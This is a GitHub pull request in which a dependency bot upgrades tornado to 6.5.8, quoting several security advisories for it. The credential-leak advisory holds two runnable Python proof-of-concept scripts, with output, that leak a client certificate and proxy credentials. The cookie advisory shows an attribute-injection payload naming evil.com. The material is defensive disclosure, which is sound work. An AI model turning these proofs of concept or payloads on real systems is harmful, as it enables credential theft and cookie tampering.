chore(deps): update dependency tornado to v6.5.8 [security] by renovate[bot] · Pull Request #85 · cemsbv/plxcontroller

renovate · 2026-06-14T07:39:31Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
tornado (source)	`==6.5.5` → `==6.5.8`

Tornado has out-of-bounds memory access via C extension

CVE-2026-49854 / GHSA-cx3h-4qpv-8hc9

More information

Details

Summary

Tornado's optional native extension tornado.speedups implements websocket_mask without validating that the mask argument is exactly four bytes long. The C function reads four bytes from mask unconditionally, even when Python passes a shorter byte string. This can read beyond the provided buffer, exposing up to 3 bytes of uninitialized memory.

The behavior is reachable from Tornado's XSRF token decoder when xsrf_cookies=True and the native extension is active.

Mitigations

This bug is fixed in Tornado 6.5.6. Prior to upgrading to this version, setting the environment variable TORNADO_EXTENSION=0 will disable the vulnerable code (at the expense of reducing websocket performance).

Severity

CVSS Score: 3.7 / 10 (Low)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

tornado AsyncHTTPClient accumulates decompressed chunks without size limit (gzip bomb)

CVE-2026-49855 / GHSA-mgf9-4vpg-hj56

More information

Details

Tornado's gzip decompression routines work in limited-size chunks, but have no overall limit for the total size of decompressed chunks that they will accumulate (There has always been a limit for the total compressed size). This allows a malicious server to consume effectively unlimited amounts of memory if it is accessed via SimpleAsyncHTTPClient in its default configuration. HTTPServer is not affected in its default configuration, but it is if decompress_request=True is set.

This bug is fixed in Tornado 6.5.6. max_body_size is now checked both for the compressed and cumulative decompressed size of the response.

Prior to upgrading, this issue can be mitigated by setting decompress_response=False or using CurlAsyncHTTPClient.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Tornado: Authorization header forwarded across cross-origin redirects in SimpleAsyncHTTPClient

CVE-2026-49853 / GHSA-3x9g-8vmp-wqvf

More information

Details

Summary

When SimpleAsyncHTTPClient follows a 3xx redirect, it shallow-copies the original HTTPRequest, rewrites the URL, decrements max_redirects, and removes only the Host header. It does not clear Authorization, auth_username, auth_password, or auth_mode when the redirect target changes origin.

As a result, credentials intended for one origin can be forwarded to a different origin when follow_redirects=True, which is the default.

Beginning in Tornado 6.5.6, SimpleAsyncHTTPClient matches the default behavior of libcurl (and therefore CurlAsyncHTTPClient): When a redirect changes the scheme, host, or port of the url, the Authorization and Cookie headers will be removed when following the redirect.

Severity

CVSS Score: 7.7 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Tornado: CurlAsyncHTTPClient leaks per-request credentials on handle reuse

GHSA-pw6j-qg29-8w7f

More information

Details

CurlAsyncHTTPClient leaks per-request credentials on handle reuse

Summary

CurlAsyncHTTPClient pools and reuses pycurl handles across requests but does
not reset them between requests, and several per-request options are applied with
no clearing branch. As a result, sensitive state set by one request persists onto
a later request on the same client that does not set it. Two credential vectors
are demonstrated below — a client TLS certificate (SSLCERT/SSLKEY) and proxy
basic-auth credentials (PROXYUSERPWD) — both leaking to a different,
unintended host. This affects all released versions through 6.5.6.

Details

In tornado/curl_httpclient.py, handles are created once and returned to a free
list for reuse (_process_queue pops the handle at line 200, _finish
re-appends it at line 245), and _curl_setup_request is never preceded by
curl.reset(). The function clears some carried-over state on the reused handle
— unsetopt(PROXYUSERPWD) in the no-proxy branch (line 394), unsetopt(USERPWD)
when no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) —
but other options have no equivalent clearing path and persist until a later
request sets them again.

Vector A — client TLS certificate (SSLCERT/SSLKEY). Set-only, no clearing
branch:

##### tornado/curl_httpclient.py (v6.5.6), lines 498-502
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)

if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)

A request that sets client_cert leaves the certificate on the handle; a later
request without client_cert presents it during its TLS handshake.

Vector B — proxy credentials (PROXYUSERPWD). PROXYUSERPWD is set only
inside the credentials branch and unset only in the no-proxy else branch:

##### tornado/curl_httpclient.py (v6.5.6), lines 371-394
if request.proxy_host and request.proxy_port:
    curl.setopt(pycurl.PROXY, request.proxy_host)
    curl.setopt(pycurl.PROXYPORT, request.proxy_port)
    if request.proxy_username:                 # only place PROXYUSERPWD is set
        ...
        curl.setopt(pycurl.PROXYUSERPWD, credentials)
    ...
else:
    try:
        curl.unsetopt(pycurl.PROXY)
    except TypeError:
        curl.setopt(pycurl.PROXY, "")
    curl.unsetopt(pycurl.PROXYUSERPWD)         # only place it is unset

A request that sets a new proxy_host without proxy_username updates
PROXY/PROXYPORT but never reaches the else, so the previous request's
credentials persist and are sent to the new proxy.

The same class also affects INTERFACE (lines 365-366: set only when
request.network_interface is truthy, with no clearing branch), which is a
lower-severity instance — a later request can be bound to a network interface it
did not request. A single fix addresses all three (see Mitigation).

PoC

Both reproduce against the pinned release using public API only
(CurlAsyncHTTPClient, HTTPRequest, and the documented per-request arguments).

Vector A — client TLS certificate

The two servers listen on different ports, so request B opens a fresh TCP+TLS
connection; the certificate can only reach server 2 via the persisted handle
option, not connection or session reuse.

python3 -m venv venv
./venv/bin/pip install "tornado==6.5.6" pycurl cryptography
./venv/bin/python poc_client_cert.py

import asyncio
import datetime
import ipaddress
import os
import socket
import ssl
import sys
import tempfile
import threading

from cryptography import x509
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient

def _key():
    return rsa.generate_private_key(public_exponent=65537, key_size=2048)

def _ca():
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "PoC-CA")])
    now = datetime.datetime.now(datetime.timezone.utc)
    cert = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(name)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
        .sign(key, hashes.SHA256())
    )
    return cert, key

def _leaf(cn, ca_cert, ca_key, ips=None, client=False):
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
    now = datetime.datetime.now(datetime.timezone.utc)
    b = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(ca_cert.subject)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
    )
    if ips:
        b = b.add_extension(
            x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),
            critical=False,
        )
    if client:
        b = b.add_extension(
            x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False
        )
    return b.sign(ca_key, hashes.SHA256()), key

def _pem(path, cert, key=None):
    with open(path, "wb") as fh:
        fh.write(cert.public_bytes(serialization.Encoding.PEM))
        if key is not None:
            fh.write(key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))

class TLSServer:
    def __init__(self, srv_pem, ca_pem, require):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        self.ctx.load_cert_chain(srv_pem)
        self.ctx.load_verify_locations(ca_pem)
        self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                s = self.ctx.wrap_socket(conn, server_side=True)
                self.captures.append(s.getpeercert() or None)
                try:
                    s.recv(4096)
                    s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok")
                except Exception:
                    pass
                s.close()
            except Exception:
                self.captures.append("handshake-failed")
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass

def _cn(peer):
    if not peer or not isinstance(peer, dict):
        return None
    for rdn in peer.get("subject", ()):
        for k, v in rdn:
            if k == "commonName":
                return v
    return None

async def main():
    with tempfile.TemporaryDirectory() as tmp:
        ca_cert, ca_key = _ca()
        s1_cert, s1_key = _leaf("server1.local", ca_cert, ca_key, ips=["127.0.0.1"])
        s2_cert, s2_key = _leaf("server2.local", ca_cert, ca_key, ips=["127.0.0.1"])
        cli_cert, cli_key = _leaf("trusted-client", ca_cert, ca_key, client=True)

        ca_pem = os.path.join(tmp, "ca.pem")
        s1_pem = os.path.join(tmp, "s1.pem")
        s2_pem = os.path.join(tmp, "s2.pem")
        cert_pem = os.path.join(tmp, "client.crt")
        key_pem = os.path.join(tmp, "client.key")
        _pem(ca_pem, ca_cert)
        _pem(s1_pem, s1_cert, s1_key)
        _pem(s2_pem, s2_cert, s2_key)
        _pem(cert_pem, cli_cert)
        with open(key_pem, "wb") as fh:
            fh.write(cli_key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))

        s1 = TLSServer(s1_pem, ca_pem, require=True)
        s2 = TLSServer(s2_pem, ca_pem, require=False)
        try:
            clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await clean.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/baseline",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            clean.close()

            client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s1.port}/internal-mtls",
                client_cert=cert_pem, client_key=key_pem,
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/other-host",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await asyncio.sleep(0.2)
            client.close()
        finally:
            s1.stop()
            s2.stop()

        baseline = _cn(s2.captures[0]) if s2.captures else None
        leaked = _cn(s2.captures[1]) if len(s2.captures) > 1 else None

        print(f"{'scenario':<48}{'cert presented to server 2'}")
        print(f"{'-' * 48}{'-' * 28}")
        print(f"{'baseline: clean client, no client_cert':<48}{baseline!r}")
        print(f"{'exploit: reused handle (A had client_cert)':<48}{leaked!r}")
        print()
        print(f"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}")
        print()
        if baseline is None and leaked == "trusted-client":
            print("VERDICT: VULNERABLE — the client certificate from request A was "
                  "presented to server 2 on request B, which specified none.")
            return 0
        print(f"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})")
        return 2

if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (pip show tornado → 6.5.6, installed in the venv):

scenario                                        cert presented to server 2
----------------------------------------------------------------------------
baseline: clean client, no client_cert          None
exploit: reused handle (A had client_cert)      'trusted-client'

(sanity) server 1 (mTLS required) saw: 'trusted-client'

VERDICT: VULNERABLE — the client certificate from request A was presented to
server 2 on request B, which specified none.

Vector B — proxy credentials

Each proxy is a separate listener capturing the raw request bytes.

./venv/bin/python poc_proxy_creds.py

import asyncio
import base64
import socket
import sys
import threading

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient

class CapturingProxy:
    def __init__(self):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                data = b""
                while b"\r\n\r\n" not in data and len(data) < 8192:
                    chunk = conn.recv(2048)
                    if not chunk:
                        break
                    data += chunk
                self.captures.append(data)
                conn.sendall(b"HTTP/1.1 502 Bad Gateway\r\nContent-Length: 0\r\n"
                             b"Connection: close\r\n\r\n")
            except Exception:
                pass
            finally:
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass

def proxy_authz(raw):
    head = raw.split(b"\r\n\r\n", 1)[0].decode("latin1", "replace")
    for line in head.split("\r\n"):
        if line.lower().startswith("proxy-authorization:"):
            return line
    return None

async def main():
    proxy_a = CapturingProxy()
    proxy_b = CapturingProxy()
    try:
        client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
        await client.fetch(HTTPRequest(
            "http://target.example/a",
            proxy_host="127.0.0.1", proxy_port=proxy_a.port,
            proxy_username="alice", proxy_password="secretA",
            request_timeout=5, connect_timeout=5), raise_error=False)
        await client.fetch(HTTPRequest(
            "http://target.example/b",
            proxy_host="127.0.0.1", proxy_port=proxy_b.port,
            request_timeout=5, connect_timeout=5), raise_error=False)
        await asyncio.sleep(0.2)
        client.close()
    finally:
        proxy_a.stop()
        proxy_b.stop()

    a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None
    b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None
    expected = "Basic " + base64.b64encode(b"alice:secretA").decode()

    print(f"{'request':<42}{'Proxy-Authorization seen by that proxy'}")
    print(f"{'-' * 42}{'-' * 40}")
    print(f"{'A -> proxy A (alice:secretA specified)':<42}{a or '(none)'}")
    print(f"{'B -> proxy B (NO credentials specified)':<42}{b or '(none)'}")
    print()
    if b and expected in b:
        print(f"VERDICT: VULNERABLE — proxy B received alice's credentials "
              f"({expected}) although request B specified no proxy_username.")
        return 0
    print(f"VERDICT: not reproduced (proxy B saw: {b!r})")
    return 2

if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (YWxpY2U6c2VjcmV0QQ== decodes to alice:secretA):

request                                   Proxy-Authorization seen by that proxy
----------------------------------------------------------------------------------
A -> proxy A (alice:secretA specified)    Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==
B -> proxy B (NO credentials specified)   Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==

VERDICT: VULNERABLE — proxy B received alice's credentials (Basic
YWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.

Impact

Type: Exposure of credentials to an unintended party (CWE-200), via reuse
of a resource whose sensitive state was not cleared (CWE-672).
Actors: An application that issues requests with differing per-request
options on a shared CurlAsyncHTTPClient — for Vector A, mixing per-request
client_cert requests with non-certificate requests; for Vector B,
multiplexing requests across more than one proxy with per-proxy credentials.
Effect: For Vector A, the client completes the TLS client-authentication
handshake — proving possession of the private key and disclosing the
certificate subject and chain — to a host that was never meant to receive it.
For Vector B, proxy basic-auth credentials are transmitted (base64) to a
different proxy. If the unintended host/proxy is attacker-controlled or
attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable
endpoint, or a proxy chosen from user-controlled configuration), the credential
is disclosed to the attacker.
Scope: Only applications using the optional CurlAsyncHTTPClient backend
with the patterns above are affected. The default SimpleAsyncHTTPClient is not
affected (and does not support proxies).

Proposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N (5.9, medium); attack complexity is
High because exploitation depends on the application using differing per-request
options on a shared client and on handle scheduling.

Mitigation

A single fix closes all instances of this class: call curl.reset() at the start
of _curl_setup_request and then re-apply the per-request options, so no state
from a prior request can persist on the reused handle. (Note curl.reset() also
clears CAINFO, which the current code intentionally leaves untouched — see the
comment at lines 401-409 — so that default would need to be re-established after
the reset.)

Alternatively, add explicit clearing branches mirroring the existing
PROXYUSERPWD/USERPWD handling:

##### client certificate
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)
else:
    curl.unsetopt(pycurl.SSLCERT)
if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)
else:
    curl.unsetopt(pycurl.SSLKEY)

##### proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)
if request.proxy_username:
    ...
    curl.setopt(pycurl.PROXYUSERPWD, credentials)
else:
    curl.unsetopt(pycurl.PROXYUSERPWD)

##### network interface
if request.network_interface:
    curl.setopt(pycurl.INTERFACE, request.network_interface)
else:
    curl.unsetopt(pycurl.INTERFACE)

Until a fix is available, use a separate CurlAsyncHTTPClient instance per
distinct credential set (per client certificate / per proxy credential), or use
SimpleAsyncHTTPClient where applicable.

Severity

CVSS Score: 5.9 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Tornado: Incomplete fix for CVE-2026-35536: cookie attribute injection re-opened via the legacy case-insensitive `**kwargs` path in `set_cookie`

GHSA-wwv5-g3v4-889x

More information

Details

Summary

The CVE-2026-35536 fix added a validation loop that rejects [\x00-\x20\x3b\x7f], but only for the
hardcoded lowercase keys name/domain/path/samesite. The still-live deprecated **kwargs path
writes attacker-supplied attribute values straight into the Morsel with no validation, and because
Morsel.__setitem__ is case-insensitive, a capitalized kwarg (Domain=, Path=, SameSite=, Max-Age=)
routes to the same reserved attribute while bypassing the loop — re-opening ;-delimited attribute injection.

self.set_cookie("sid", "abc", Domain="evil.com; Secure; SameSite=None")

#####  -> Set-Cookie: sid=abc; Domain=evil.com; Secure; SameSite=None; Path=/
##### Sanity (the canonical lowercase named arg IS blocked):
self.set_cookie("sid", "abc", domain="evil.com; Secure")   # -> http.cookies.CookieError

The patch's regression test (SetCookieForbiddenCharHandler) only exercises the four named params, never the
**kwargs path, so the gap is not regression-covered.

Affected code

tornado/web.py → RequestHandler.set_cookie: the validation loop covers only the lowercase named args;
the trailing if kwargs: loop does morsel[k] = v with no character validation.

Steps to reproduce

GET /upper (uses Domain= kwarg) emits Set-Cookie: c_upper=v; Domain=evil.com; Secure; SameSite=None; Path=/; GET /lower (uses lowercase
domain=) returns a CookieError.

Impact

Injection of independent cookie attributes (force/drop Secure/HttpOnly/SameSite, rebind Domain/Path)
— the same impact CVE-2026-35536 closed, via the sibling path the patch missed. Conditional on the app using
a capitalized/legacy keyword.

Suggested remediation

Apply the same [\x00-\x20\x3b\x7f] validation to every entry in the **kwargs loop (after normalizing the
key case), or remove the deprecated kwargs path; add a regression test for capitalized kwargs.

Credit

Reported as part of an incomplete-patch measurement study (responsible disclosure).

Severity

CVSS Score: 2.3 / 10 (Low)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

tornado: multipart split() creates huge temp list before max_parts check -> memory amplification DoS (httputil.py:34)

GHSA-8423-8fgw-73vq

More information

Details

Description

Summary

parse_multipart_form_data (httputil.py:34) calls
data.split(b"--"+boundary+b"\r\n") before the max_parts check (:35).
A 600KB body with 100k parts creates a 100k-element transient list first,
then rejects transient memory amplification (each split element is a copy).
Pre-auth HTTP DoS.

Root cause

parts = data[:final_boundary_index].split(b"--" + boundary + b"\r\n")  # :34  huge list first
if len(parts) > config.max_parts:                                       # :35  check after
    raise HTTPInputError("multipart/form-data has too many parts")

PoC

gist: https://gist.github.com/afldl/649861f25d39b53b7edbe0298e171617
poc.py + output.txt (100k parts from 600KB transient list).

Fix

Count separators without materializing the list (e.g. data.count(b"--"+boundary) first).

Credit

Reported by afldl, 2026-07.

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Tornado: Urlencoded body parsing omits max_num_fields, so one request can stall the event loop

CVE-2026-82397 / GHSA-mpf4-983q-p7j4

More information

Details

Summary

Tornado parses application/x-www-form-urlencoded bodies with urllib.parse.parse_qs and does not pass max_num_fields. A body made almost entirely of separators produces tens of millions of fields, and the parse happens on the event loop before the handler runs, so a single request stalls the whole server.

Where it is

tornado/escape.py, at HEAD e530031405e2154654dedc4c84d5656b557ea310:

result = urllib.parse.parse_qs(
    qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict"
)

max_num_fields is the parameter CPython added for exactly this, and it is absent.

The path to it is entirely server-side and pre-dispatch. RequestHandler._execute parses the body at tornado/web.py:1821, which reaches HTTPServerRequest._parse_body at tornado/httputil.py:636, and the urlencoded branch of parse_body_arguments calls parse_qs_bytes at tornado/httputil.py:1030.

The size that reaches it is bounded only by the body cap, which defaults to the stream's max_buffer_size of 104857600 at tornado/iostream.py:239, applied as the request body default at tornado/http1connection.py:136-140. A 100 MB body of separators is around fifty million fields.

Impact

Denial of service against the whole process, not one request. Tornado is single-threaded and the parse is synchronous on the event loop, so every other connection waits. No authentication is needed if any route accepts a form post, which is the normal case.

Suggested fix

Pass a bound:

result = urllib.parse.parse_qs(
    qs, keep_blank_values, strict_parsing, encoding="latin1", errors="strict",
    max_num_fields=max_num_fields,
)

with a conservative default and a way for applications to raise it. CPython raises ValueError when the limit is exceeded, which maps cleanly onto a 400.

Lowering the default body cap for urlencoded specifically would help too, since 100 MB of form fields is not a shape any real client sends.

Why I do not think this is a duplicate

The published tornado advisories cover out-of-bounds access in the C extension, unbounded accumulation of decompressed chunks in AsyncHTTPClient, the Authorization header surviving cross-origin redirects, credential leakage on curl handle reuse, and cookie attribute validation. The decompression one is the nearest in spirit and is on the client side; this is the server parsing a request body. The call is unchanged at HEAD.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

tornadoweb/tornado (tornado)

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coveralls · 2026-06-14T07:41:24Z

Coverage Report for CI Build 33998690037

Coverage remained the same at 27.981%

Details

Coverage remained the same as the base build.
Patch coverage: No coverable lines changed in this PR.
No coverage regressions found.

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No uncovered changes found.

Coverage Regressions

No coverage regressions found.

Coverage Stats


Relevant Lines:	847
Covered Lines:	237
Line Coverage:	27.98%
Coverage Strength:	0.28 hits per line

💛 - Coveralls

renovate Bot changed the title ~~chore(deps): update dependency tornado to v6.5.6 [security]~~ chore(deps): update dependency tornado to v6.5.7 [security] Jun 20, 2026

renovate Bot force-pushed the renovate/pypi-tornado-vulnerability branch from 93c546d to 028906e Compare June 20, 2026 20:02

chore(deps): update dependency tornado to v6.5.8 [security]

3f18f02

renovate Bot force-pushed the renovate/pypi-tornado-vulnerability branch from 028906e to 3f18f02 Compare September 5, 2026 23:26

renovate Bot changed the title ~~chore(deps): update dependency tornado to v6.5.7 [security]~~ chore(deps): update dependency tornado to v6.5.8 [security] Sep 5, 2026

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chore(deps): update dependency tornado to v6.5.8 [security] - #85

chore(deps): update dependency tornado to v6.5.8 [security]#85
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renovate Bot commented Jun 14, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

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Tornado has out-of-bounds memory access via C extension

Details

Summary

Mitigations

Severity

References

tornado AsyncHTTPClient accumulates decompressed chunks without size limit (gzip bomb)

Details

Severity

References

Tornado: Authorization header forwarded across cross-origin redirects in SimpleAsyncHTTPClient

Details

Summary

Severity

References

Tornado: CurlAsyncHTTPClient leaks per-request credentials on handle reuse

Details

CurlAsyncHTTPClient leaks per-request credentials on handle reuse

Summary

Details

PoC

Vector A — client TLS certificate

Vector B — proxy credentials

Impact

Mitigation

Severity

References

Tornado: Incomplete fix for CVE-2026-35536: cookie attribute injection re-opened via the legacy case-insensitive **kwargs path in set_cookie

Details

Summary

Affected code

Steps to reproduce

Impact

Suggested remediation

Credit

Severity

References

tornado: multipart split() creates huge temp list before max_parts check -> memory amplification DoS (httputil.py:34)

Details

Description

Summary

Root cause

PoC

Fix

Credit

Severity

References

Tornado: Urlencoded body parsing omits max_num_fields, so one request can stall the event loop

Details

Summary

Where it is

Impact

Suggested fix

Why I do not think this is a duplicate

Severity

References

Release Notes

v6.5.8

v6.5.7

v6.5.6

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Coverage Report for CI Build 33998690037

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renovate Bot commented Jun 14, 2026 •

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Tornado: Incomplete fix for CVE-2026-35536: cookie attribute injection re-opened via the legacy case-insensitive `**kwargs` path in `set_cookie`

`v6.5.8`

`v6.5.7`

`v6.5.6`

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